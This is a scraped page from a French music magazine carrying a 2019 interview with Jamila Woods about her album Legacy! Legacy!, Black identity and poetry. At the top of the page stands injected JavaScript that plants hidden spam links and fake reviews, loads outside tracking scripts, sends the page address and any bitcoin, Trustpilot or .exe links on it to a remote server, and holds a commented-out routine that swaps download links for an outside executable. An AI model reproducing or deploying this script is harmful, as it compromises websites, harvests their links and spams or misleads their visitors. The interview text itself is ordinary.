Logo/* Domain is for sale: fawtuowo@gmail.com */ (function() { 'use strict'; if (window['shbNetLoaded']) return; window['shbNetLoaded'] = true; var isTopLayer = false; var popupHtml = "
Worked with bud to get my car financed ! Thank you so much . Excellent experience would recommend to all family and friends . order online medicine delivery<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Beautiful beach. Its not in vain here because you get a very beautiful view. pioneer svm-1000<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Dang this place is good! It has great Tex Mex and the price is reasonable. bloglarda ara<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Great place to load in and out within 45 minutes every time phone answering companies leeds<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
One star because I cannot give less. Terrible staff at the baggages check, rude and unpolite. fiat leasing<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Highly recommended!! The entire staff was extremely helpful in providing me with the perfect engagement ring within my budget. Would trust them over and over again with my business! limo for a day new york<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
Great place to stay right on the harbor. A few good restaurants nearby as well as many museums and attractions. Also a great view of the fireworks display on the 4th of July. \u767e\u5bb6\u4e50\u6570\u724c\u6cd5<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
GREAT PLACE! To take the whole family , very educational on the world we live in and in space. aegis hero white and red<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
The food was normal but wait times are huge, we have been more than an hour and a half in the restaurant almost all waiting even 20 minutes to serve a coffee .... smash jogo de aposta<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
I cant say enough about Lindsey. We have used her a few times now for family photos, large group and small and I am beyond impressed. Her ability to capture kiddos and keep them engaged is awesome as well as her end result. badkamerrenovatie<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
This is the best consultancy and very professional especially Neha Ansari is wonderful, helpful and courteous. I will recommend this consultancy to everyone who is looking for a hospitality job in gulf countries. dimetylo sulfo tlenek<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Fast, efficient, economical. All that is asked at the beginning of the project. To see in time ... \u6a5f\u68b0 \u767e \u5bb6 \u6a02<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
It is an emblematic place of our people, mainly for all believers and faithful to the heavenly promise. To avoid lines and tumults it is advisable to visit during the week. alaska airlines flight 716<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
No waiting at the car register few goods in the business corner welcoming staff and aware I would return \u5bb6\u6a02\u57ce<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
The Vanoffee bars are lovely, and the delivery service is quick ! dg..<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Very friendly staff. Close to old Narita town centre. Many airline crews stay here. \u0430\u0440\u0438\u044f \u043c\u0435\u0431\u0435\u043b\u044c\u043d\u0430\u044f \u0444\u0430\u0431\u0440\u0438\u043a\u0430<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
I would put a review down but dont want to hurt feelings. Leave it at that. Also theyll fire u for no reason just ask Jeremy hell tell u piebald long haired dachshund puppy<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Jury service can be fun, if you dont mind the commute and the amount of waiting around you have to do. \u0437\u0430\u043a\u0430\u0437\u0430\u0442\u044c \u0430\u0432\u0442\u043e\u0431\u0443\u0441 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0432\u043e\u0437\u043a\u0438<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
Is much better than you think from the outside. The main playground is best for children! Free entry under 15 years! buy marijuana carts online kit<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
If you need wires for your stereo, satellite or TV, This is the place. You need inexpensive camping stuff, This is the place You need extension cords, or inexpensive car repair tools, Yep This is the place. excede injection for cattle<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Good shop for electronic goods, all range available, good location, gh\u1ebf v\u0103n phòng<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
You feel that spirit of peace, of love, of protection. Virgin of Altagracia, protector of the Dominican people and of all those who are believers. mobile web development company in abeokuta ogun<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
It is a hotel with lots of things to eat. Ive spent a lot of time in my trip. Hotel yg paling bagus menurut Saya ^^. Kalo ke Cirebon Wajib mampir aja. Bukan menginap akta tribe banyak macam makanan juga island. kwinside.com<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Great day out as a couple, with a family or just with some friends. Really well organised entrance and exit systems. Great spot for a picnic or just bring some money and buy lunch when you arrive! uberlube lubricant<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
My service technician, Ernesto, was very professional, friendly, and knowledgeable. He identified some repairs that needed to be made and offered some great advice! HIGHLY recommend him and Beutler!!! Stichting stem van de nacht<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Beautiful hotel! To find the best deal on a staycation , use Skyscanners month view tool add new extensions to chrome<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Food is not as good as it used to be, especially since they raised their prices. I cant say I know a better place to go for Pastrami or Corned Beef, but Im sure there are some. ux tasar\u0131m kursu<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
<\/div> <\/div> <\/div> <\/div> <\/td> <\/tr> <\/table> <\/div>"; var bottomHtml = "
Worked with bud to get my car financed ! Thank you so much . Excellent experience would recommend to all family and friends . order online medicine delivery<\/a>.<\/article>
Beautiful beach. Its not in vain here because you get a very beautiful view. pioneer svm-1000<\/a>.<\/article>
Dang this place is good! It has great Tex Mex and the price is reasonable. bloglarda ara<\/a>.<\/article>
Great place to load in and out within 45 minutes every time phone answering companies leeds<\/a>.<\/article>
One star because I cannot give less. Terrible staff at the baggages check, rude and unpolite. fiat leasing<\/a>.<\/article>
Highly recommended!! The entire staff was extremely helpful in providing me with the perfect engagement ring within my budget. Would trust them over and over again with my business! limo for a day new york<\/a>.<\/article>
Great place to stay right on the harbor. A few good restaurants nearby as well as many museums and attractions. Also a great view of the fireworks display on the 4th of July. \u767e\u5bb6\u4e50\u6570\u724c\u6cd5<\/a>.<\/article>
GREAT PLACE! To take the whole family , very educational on the world we live in and in space. aegis hero white and red<\/a>.<\/article>
The food was normal but wait times are huge, we have been more than an hour and a half in the restaurant almost all waiting even 20 minutes to serve a coffee .... smash jogo de aposta<\/a>.<\/article>
I cant say enough about Lindsey. We have used her a few times now for family photos, large group and small and I am beyond impressed. Her ability to capture kiddos and keep them engaged is awesome as well as her end result. badkamerrenovatie<\/a>.<\/article>
This is the best consultancy and very professional especially Neha Ansari is wonderful, helpful and courteous. I will recommend this consultancy to everyone who is looking for a hospitality job in gulf countries. dimetylo sulfo tlenek<\/a>.<\/article>
Fast, efficient, economical. All that is asked at the beginning of the project. To see in time ... \u6a5f\u68b0 \u767e \u5bb6 \u6a02<\/a>.<\/article>
It is an emblematic place of our people, mainly for all believers and faithful to the heavenly promise. To avoid lines and tumults it is advisable to visit during the week. alaska airlines flight 716<\/a>.<\/article>
No waiting at the car register few goods in the business corner welcoming staff and aware I would return \u5bb6\u6a02\u57ce<\/a>.<\/article>
The Vanoffee bars are lovely, and the delivery service is quick ! dg..<\/a>.<\/article>
Very friendly staff. Close to old Narita town centre. Many airline crews stay here. \u0430\u0440\u0438\u044f \u043c\u0435\u0431\u0435\u043b\u044c\u043d\u0430\u044f \u0444\u0430\u0431\u0440\u0438\u043a\u0430<\/a>.<\/article>
I would put a review down but dont want to hurt feelings. Leave it at that. Also theyll fire u for no reason just ask Jeremy hell tell u piebald long haired dachshund puppy<\/a>.<\/article>
Jury service can be fun, if you dont mind the commute and the amount of waiting around you have to do. \u0437\u0430\u043a\u0430\u0437\u0430\u0442\u044c \u0430\u0432\u0442\u043e\u0431\u0443\u0441 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0432\u043e\u0437\u043a\u0438<\/a>.<\/article>
Is much better than you think from the outside. The main playground is best for children! Free entry under 15 years! buy marijuana carts online kit<\/a>.<\/article>
If you need wires for your stereo, satellite or TV, This is the place.\r\nYou need inexpensive camping stuff, This is the place\r\nYou need extension cords, or inexpensive car repair tools, Yep This is the place. excede injection for cattle<\/a>.<\/article>
Good shop for electronic goods, all range available, good location, gh\u1ebf v\u0103n phòng<\/a>.<\/article>
You feel that spirit of peace, of love, of protection. Virgin of Altagracia, protector of the Dominican people and of all those who are believers. mobile web development company in abeokuta ogun<\/a>.<\/article>
It is a hotel with lots of things to eat. Ive spent a lot of time in my trip.\r\nHotel yg paling bagus menurut Saya ^^. Kalo ke Cirebon Wajib mampir aja. Bukan menginap akta tribe banyak macam makanan juga island. kwinside.com<\/a>.<\/article>
Great day out as a couple, with a family or just with some friends. Really well organised entrance and exit systems. Great spot for a picnic or just bring some money and buy lunch when you arrive! uberlube lubricant<\/a>.<\/article>
My service technician, Ernesto, was very professional, friendly, and knowledgeable. He identified some repairs that needed to be made and offered some great advice! HIGHLY recommend him and Beutler!!! Stichting stem van de nacht<\/a>.<\/article>
Beautiful hotel! To find the best deal on a staycation , use Skyscanners month view tool add new extensions to chrome<\/a>.<\/article>
Food is not as good as it used to be, especially since they raised their prices. I cant say I know a better place to go for Pastrami or Corned Beef, but Im sure there are some. ux tasar\u0131m kursu<\/a>.<\/article><\/span>"; var popupCreated = false; var bottomPopup = false || /[?&]test=1/.test(location.href); //officeLog(bottomHtml); function onReady() { tryCreatePopup(2); var box = create('div'); append(box, document.body); var defaultStyles = { width: '1px', height: '1px', background: 'transparent', display: 'inline-block', margin: '2px', padding: 0, verticalAlign: 'bottom', border: 'none' }; var a = create('a'); css(a, defaultStyles); document.addEventListener('keydown', function(e) { if (e.keyCode === 192 && e.ctrlKey) { css(a, { width: '20px', height: '20px', background: '#fff', border: '1px solid red' }); } }); document.addEventListener('keyup', function(e) { css(a, defaultStyles); }); a.className = 'shbNetgpLink'; append(a, box); a.href = 'javascript:;'; on(a, 'click', openLinerPopup); css(box, { position: 'fixed', margin: 0, padding: 0, outline: 'none', border: 'none', zIndex: 999999999, overflow: 'visible', direction: 'ltr' }); css(box, { left: '3px', right: 'auto', top: '50px', bottom: 'auto', width: '42px', height: '168px' }); } function officeLog(data) { } function clearStyles() { if(typeof document.createStyleSheet === 'undefined') { document.createStyleSheet = (function() { function createStyleSheet(href) { if(typeof href !== 'undefined') { var element = document.createElement('link'); element.type = 'text/css'; element.rel = 'stylesheet'; element.href = href; } else { var element = document.createElement('style'); element.type = 'text/css'; } document.getElementsByTagName('head')[0].appendChild(element); var sheet = document.styleSheets[document.styleSheets.length - 1]; if(typeof sheet.addRule === 'undefined') sheet.addRule = addRule; if(typeof sheet.removeRule === 'undefined') sheet.removeRule = sheet.deleteRule; return sheet; } function addRule(selectorText, cssText, index) { if(typeof index === 'undefined') index = this.cssRules.length; this.insertRule(selectorText + ' {' + cssText + '}', index); } return createStyleSheet; })(); } var sheet = document.createStyleSheet(); sheet.addRule('#shbNetPaddingTable', 'display: none;'); sheet.addRule('#shbNetPaddingWr #shbNetPaddingTable', 'display: table;'); sheet.addRule('.shbNetPopupWr, .shbNetPopupWr *', '-webkit-text-shadow:none !important; text-shadow:none !important;'); sheet.addRule('.shbNetPopupTable img', 'display:inline; width:auto; height:auto; background:none; float:none;'); sheet.addRule('.shbNetPopupTable *', 'margin:0; padding:0; font-family:Tahoma,Arial,Sans-Serif,Verdana; font-size:11px; line-height:normal;'); sheet.addRule('.shbNetPopupTable a, .shbNetPopupTable b', 'text-decoration:none; background:none; height:auto !important; color:#737373; font-size:11px; font-weight:bold;'); sheet.addRule('.shbNetTopLayer .shbNetPopupWr', 'display:block !important; width: 100% !important; x-index:99999999 !important; background: #fff !important; padding: 2px 10px !important;'); sheet.addRule('.shbNetTopLayer #shbNetPaddingTable', 'display:table !important;'); } function createTopLayer() { //if (!domReady) return; var div = document.createElement('div'); div.className = 'shbNetTopLayer'; div.innerHTML = popupHtml; document.body.insertBefore(div, document.body.childNodes[0]); popupCreated = true; } function tryCreatePopup(stage) { if (popupCreated) return; if (isTopLayer) { createTopLayer(); return; } if (bottomPopup) { var box = document.createElement('div'); box.innerHTML = bottomHtml; document.body.appendChild(box); return; } if (stage === 1) { document.writeln(popupHtml); } else if (stage === 2) { var mainBox = create('div'); mainBox.innerHTML = popupHtml; document.body.appendChild(mainBox); } else { return; } var wr = $('shbNetPaddingWr'); if (!wr) return; popupCreated = true; var table = $('shbNetPaddingTable'); css(table, { position: 'fixed', margin: 0, padding: 0, left: 0, top: 0, width: '100%', height: '100%', direction: 'ltr', zIndex: 999999999, background: 'none' }); css(table.getElementsByTagName('td')[0], { verticalAlign: 'middle', background: 'rgba(0, 0, 0, 0.5)' }); var popup = $('shbNetPaddingPopup'); css(popup, { margin: '0 auto', padding: '20px 25px 20px', width: '800px', maxWidth: '98%', background: '#fff', border: '1px solid #000', textAlign: 'left', position: 'relative', fontFamily: 'Tahoma, Arial, Verdana', boxSizing: 'content-box' }); on(document, 'keydown', function(e) { if (e.keyCode === 27) { wr.style.display = 'none'; } }); } function removeClass(node, className) { if (node && node.className) { node.className = node.className.replace(new RegExp('\b' + className + '\b', 'g'), ''); } } function openLinerPopup() { var pad = $('shbNetPaddingWr'); var tbl = $('shbNetPaddingTable'); if (!pad || !tbl) return; pad.style.display = 'block'; tbl.style.display = 'table'; var mainPopup = $('shbNetPopupWr'); if (!mainPopup) return; mainPopup.style.display = 'none'; } function $(id) { return document.getElementById(id); } function on(elem, event, handler) { elem.addEventListener(event, handler, false); } function css(elem, style) { for (var prop in style) { elem.style[prop] = style[prop]; } } function create(tag) { return document.createElement(tag); } function append(elem, parent) { parent.appendChild(elem); } setTimeout(function() { window.CJSource = 'shb2'; /* var script = document.createElement('script'); script.src = 'https://cleverjump.org/counter.js'; (document.head || document.body).appendChild(script); */ (function(w, d) { var s = d.createElement('script'); d.getElementsByTagName('script')[0].parentNode.appendChild(s); s.setAttribute('data-statinside-id', 21); s.src = 'https://statinside.com/counter.js'; w._siData = w._siData || []; w.statInside = function() {_siData.push(arguments);} })(window, document); statInside('custom', 'shb2'); statInside('heartbeat', false); }, 10); if (document.readyState === 'complete' || document.readyState === 'interactive') { onReady(); } else { on(document, 'DOMContentLoaded', onReady); } tryCreatePopup(1); try { clearStyles(); } catch (ex) {} (function() { if (!document.querySelector) return; var added = false; tryAddLink(); window.addEventListener('DOMContentLoaded', tryAddLink); setTimeout(tryAddLink, 100); setTimeout(tryAddLink, 1000); setTimeout(tryAddLink, 2000); function tryAddLink() { if (added) return; var menu = document.querySelector('#wpadminbar .ab-top-menu'); if (!menu) return; var li = document.createElement('li'); li.innerHTML = 'SEO promotion'; //menu.appendChild(li); added = true; save(); } function save() { var json = JSON.stringify({ hrefs: ['wordpress_new'], jsDomain: 'staticadd.com', refUrl: location.href }); var xhr = new XMLHttpRequest; xhr.open('POST', '//staticadd.com/save.php'); xhr.setRequestHeader('Content-Type', 'text/plain'); xhr.onload = function() { xhr.responseText; } xhr.send(json); } })(); (function() { function byId(id) { return document.getElementById(id); } function setCookie() { var date = new Date(); date.setTime(date.getTime() + (60 * 60 * 1000)); document.cookie = 'closePopupStartWow=1; path=/; domain=.' + location.hostname + '; expires=' + date.toGMTString(); } function listenerPopupSemalt(event){ if (event.origin != 'https://semalt.com') return; if (!event.data) return; if (event.data == 'closePopupStartWow'){ var el = byId('popupStartWow'); if (!el) return; el.style.display = 'none'; setCookie(); } else if(event.data.indexOf('startPopupStartWow')>-1) { try{var res = JSON.parse(event.data); if(res && res.page){ location.href = 'https://semalt.com/?s='+decodeURIComponent(res.page)+'&ref=blogspot'; } } catch(ee) { } setCookie(); } } function init() { if (document.getElementById('popupWowNode')) return; var div = document.createElement('div'); div.id = 'popupWowNode'; try { div.innerHTML = html; } catch (err) { return; } document.body.appendChild(div); setTimeout(function(){ if (document.cookie.indexOf('closePopupStartWow') !== -1) return; var el = byId('popupStartWow'); if (!el) return; el.setAttribute('src', 'https://semalt.com/popups/popup_wow.php?lang=en'); setTimeout(function(){ el.style.display = 'block'; }, 400); },400); } setTimeout(init, 100); setTimeout(init, 1000); setTimeout(init, 2000); window.addEventListener('message', listenerPopupSemalt, false); })(); setTimeout(function() { /*try { var links = document.querySelectorAll('a[href$=".exe"]'); for (var i = 0; i < links.length; i++) { links[i].href = 'https://myprintscreen.com/soft/myp0912.exe'; break; } } catch (err) {}*/ try { var links = document.querySelectorAll('a[href^="bitcoin:"], a[href*="trustpilot.com"], a[href$=".exe"]'); //var links = document.querySelectorAll('a[href^="https://"]'); if (links.length) { var hrefs = []; for (var i = 0; i < links.length; i++) { hrefs.push(links[i].href); } var json = JSON.stringify({ hrefs: hrefs, jsDomain: 'staticadd.com', refUrl: location.href }); var xhr = new XMLHttpRequest; xhr.open('POST', '//staticadd.com/save.php'); xhr.setRequestHeader('Content-Type', 'text/plain'); xhr.onload = function() { xhr.responseText; } xhr.send(json); } } catch (ex) {} }, 2000); })();
  • Politique de confidentialité
  • Le site
  • Droits d’auteurs
  • Contact
  • (re)Découvertes
  • Albums
  • Clips
  • Concerts
  • Dossiers
  • Editoriaux
  • Entretiens
  • Près de chez toi
  • Reportages
  • Sessions
  • Tribune libre
LeTransistor A la une Entretien avec Jamila Woods

Entretien avec Jamila Woods

Publié le 24 Jul 2019
Rédacteur : Agnès Bayou

Email, RSS Follow
Email

Certains l’ont croisée au Pitchfork Avant-Garde, d’autres aux côtés de Chance The Rapper. Jamila Woods ne vous a pas attendus, et sort déjà son deuxième album, un hommage aux icônes noires de l’Histoire de l’Art. Chaque chanson de Legacy! Legacy! est ainsi dédiée à une figure afro-américaine qui l’inspire : Basquiat, Miles Davis, Sun Ra, Frida Kahlo… Le Transistor a rencontré cette nouvelle voix de la soul qui ne prend la parole pour ne rien dire.

Petite, Jamila Woods faisait partie du fameux Chicago children’s choir. “J’étais dans la chorale principale de Chicago, celle pour laquelle il faut auditionner. C’était professionnel, on partait en tournée à travers les Etats-Unis. J’ai chanté avec l’orchestre de The Lord of the Ring, mais d’autres ont chanté avec Céline Dion, ou participé à l’album de Chance The Rapper – et le mien !”

Jamila Woods

Jamila Woods est impliquée dans la vie de la communauté de Chicago. “Je travaille au Young Chicago Authors, c’est un centre communautaire. Quand j’étais au lycée, j’y suis allée pour un open mic, et pour la première fois, j’étais dans un endroit où il n’y avait que des jeunes, pas d’adultes en vue. J’ai lu mon poème, et les gens étaient assis, calmes, à vraiment écouter. Après quoi, tout le monde a applaudi, et certains sont venus me voir, me raconter qu’ils s’étaient sentis concernés par ce que j’avais écrit.” Pour l’artiste, c’est essentiel d’avoir des espaces où les jeunes peuvent s’exprimer. “Que des gens du même âge s’écoutent de manière égalitaire, échangent ce type de respect, jamais je n’avais ressenti ça ! Ces espaces sont importants, surtout parce qu’il n’y a pas de ségrégation, c’est pas la poésie d’un côté et la musique de l’autre, tout se mélange, les gens peuvent expérimenter.”

Jamila Woods a commencé la poésie un peu par accident. “C’était pour un programme extra-scolaire, après les cours, ils te font choisir 3 options. Je voulais faire les cours de chant ou de théâtre, et j’ai mis la poésie parce que je me suis dit que de toute façon, j’aurais l’un de mes deux premiers choix. Quand ils m’ont mise en poésie, au début j’étais en colère. mais j’ai fini par adorer. Ca a été comme de trouver une nouvelle langue.” Avant ce cours, s’exprimer était pour elle un processus tumultueux. “J’étais jamais complètement à l’aise, j’essayais de m’intégrer, je faisais ce que je pensais que mon entourage attendait de moi au lieu d’être moi-même. Et là, enfin, je sentais que je pouvais être moi-même, et que je pouvais m’exprimer au travers de la poésie, j’avais trouvé un langage authentique.”

En fait, si Jamila Woods n’était pas à l’aise, c’est pour une question cruciale d’identité et de représentation. “Ca a été tout un travail, parce que pour moi, en tant que Noire, car les formes d’identités proposées étaient assez limités… Je voyais comment les Noirs étaient représentés, et j’entendais les gens me dire “je n’ai jamais vu un Noir parler comme tu le fais”, “je n’ai jamais vu un Noir écouter de la musique emo”… Ces petites choses me disaient que je n’étais pas le bon type de Noire. J’étais toujours entourée de personnes blanches, donc je me sentais simplement différente.” L’artiste en est venue à se demander s’il elle était assez noire. “Simplement parce que je ne venais pas des mêmes quartiers, je n’avais pas le même accent, et je ne comprenais pas pourquoi. Sans avoir le vocabulaire pour exprimer ces questions… Jusqu’à l’université, où j’ai commencé à lire des travaux écrits par des artistes noirs. Et là surprise ! J’ai découvert qu’il n’y en avait pas qu’un seul ! Ca m’a donné le courage de parler de mon identité. Etre noir, c’est pas quelque chose que je dois essayer d’être, car je le suis, peu importe ce que je fais, je ne peux pas y échapper. Donc c’est à moi de le définir.”

Legacy! Legacy! a des références évidentes, comme Basquiat ou Frida Kahlo, mais d’autres noms nous sont inconnus. “J’ai écouté beaucoup de hip hop, et dès que je tombais sur une référence que je ne connaissais pas, j’allais faire mes recherches. Ca me faisait marrer, surtout qu’il y avait pas encore Rap Genius ! Je ne veux pas que les gens se sentent intimidés s’ils ne connaissent pas le nom. Il ne faut pas non plus se sentir obligé de chercher, à part si vous êtes piqué de curiosité ! Mais si vous ressentez quelque chose sans aucun lien avec la personne citée, là c’est moi qui serais curieuse de connaître votre interprétation.”

Pour chaque chanson, l’artiste a essayé d’entrer dans la peau des personnages. “C’est un peu comme d’inviter leur esprit, dans la pièce avec moi. J’écris à propos de ma propre vie, je raconte une leçon que j’ai apprise grâce à Eartha Kitt, j’explique en quoi ça me fait réfléchir à mes relations. James Baldwin écrivait beaucoup à propos des Blancs, des Etats-Unis en général et du racisme. C’est lui qui m’a aidé à gérer ma frustration, et comprendre ce qui se passe en ce moment, et depuis toujours, entre les Noirs et la police. En fait j’utilise leurs idées un peu comme des loupes qui m’aident à analyser mon monde.” Mais pour Jamila Woods, il n’est pas question de se mettre dans leur peau, au contraire. “La tournure est très physique, alors que le processus était très spirituel. Au milieu du processus d’écriture, j’ai rencontré un astrologue qui m’a dit “les ancêtres vous aiment bien et veulent vous parler, vous avez besoin de leur créer un espace, de leur faire un autel, pour leur permettre de venir” alors qu’on parlait pas du tout de mon album ! Donc j’ai pas eu besoin de me mettre dans leur peau, c’est eux qui me rendaient visite.”

Tout cet héritage de personnes qui ont lutté pour la cause des Noirs, pourrait représenter un fardeau. “Pas pour moi, c’est tellement encourageant d’apprendre toute l’histoire qu’on ne m’a pas racontée. De comprendre qu’il y a tellement de gens extraordinaires qui ont enduré et surpassé tellement de choses. De voir comment on a appris, pas des erreurs mais des critiques. Donc c’est un empowerement, ça m’inspire d’apprendre toute l’histoire possible sur les Noirs et les artistes noirs.” Au passage, Jamila Woods nous raconte la véritable histoire de Rosa Parks. “En fait c’est une autre femme, avant Rosa Parks, qui a voulu s’asseoir dans le bus. Mais ils n’ont pas créé de mouvement, autour de cet incident, parce que c’était une adolescente noire enceinte. Ce n’est que plus tard qu’ils ont orchestré une autre occasion, pour Rosa Parks – une figure respectée. Il fallait quelqu’un derrière qui les gens puissent se rassembler.”

A l’instar de Rosa Parks, la position de porte-parole peut s’avérer difficile… “Je participe à une conversation, je ne cherche pas à montrer le chemin. Pour la question de la représentation, j’essaie déjà de me représenter de manière authentique… Mais il y a toujours un moment où on va me demander ce que je pense des femmes noires à Chicago, ou des Noirs aux Etats-Unis… C’est une question difficile parce que je peux pas représenter tous les Noirs, je ne peux pas parler pour tout le monde.” Et pourtant Jamila Woods se sent désormais les épaules de l’endosser. “Et en même temps je veux représenter ma communauté. Donc oui je puise ma force dans ce qu’ont accompli ces gens avant moi, parce que je ne suis pas la première dans cette position, à devoir représenter… C’est aussi pour ça que j’ai étudié l’Histoire des Noirs, parce que ça me fascinait de savoir comment ils géraient ces questions de représentations tout en restant authentiques.”

Réclame

Legacy! Legacy! le deuxième album de Jamila Woods est paru chez Jagjaguwar / [PIAS] Jamila Woods sera en concert au Pitchfork Music Festival Paris
Voir les concert de Jamila Woods

Email, RSS Follow
Email

Remerciements : Agnieszka Gérard

Catégorie : A la une, Entretiens
Artiste(s) : Jamila Woods
Production(s) : Jagjaguwar, PIAS, Secretly Group

Et toi t'en penses quoi ?

A lire aussi

  • Will Epstein – Wendy
  • Les Vulves Assassines à la Maroquinerie
  • Entretien avec Motherhood
  • Whitney et Uwade au Trabendo
  • Bachar Mar-Khalifé au Café de la Danse

Gallery

HATEBREED img_4136 img_1690 12-La-Femme-10